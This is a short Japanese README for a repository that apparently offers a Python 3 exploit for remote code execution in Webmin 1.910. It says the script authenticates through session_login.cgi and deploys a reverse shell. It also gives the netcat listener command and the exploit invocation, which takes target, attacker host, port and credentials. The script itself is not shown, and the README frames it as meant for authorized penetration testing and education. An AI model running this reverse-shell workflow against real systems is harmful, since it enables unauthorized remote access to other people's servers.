Webmin 1.910 リモートコード実行エクスプロイト

説明:

このリポジトリには、Webmin バージョン 1.910 のリモートコード実行の脆弱性を悪用するために設計された Python 3 スクリプトが含まれています。このスクリプトは session_login.cgi エンドポイントを利用して認証を実行し、リバースシェルペイロードを展開することで、標的システムへのリモートアクセスを提供します。このエクスプロイトは、許可されたペネトレーションテストおよび教育目的を対象としています。

ローカルマシンでリスナーを起動します:

nc -lvnp <lport>

次のコマンドを使用してスクリプトを実行します:

python3 webmin_exploit.py --rhost <target_ip> --lhost <your_ip> --lport <your_port> -u <username> -p <password>

Webmin1.910_exploit

人気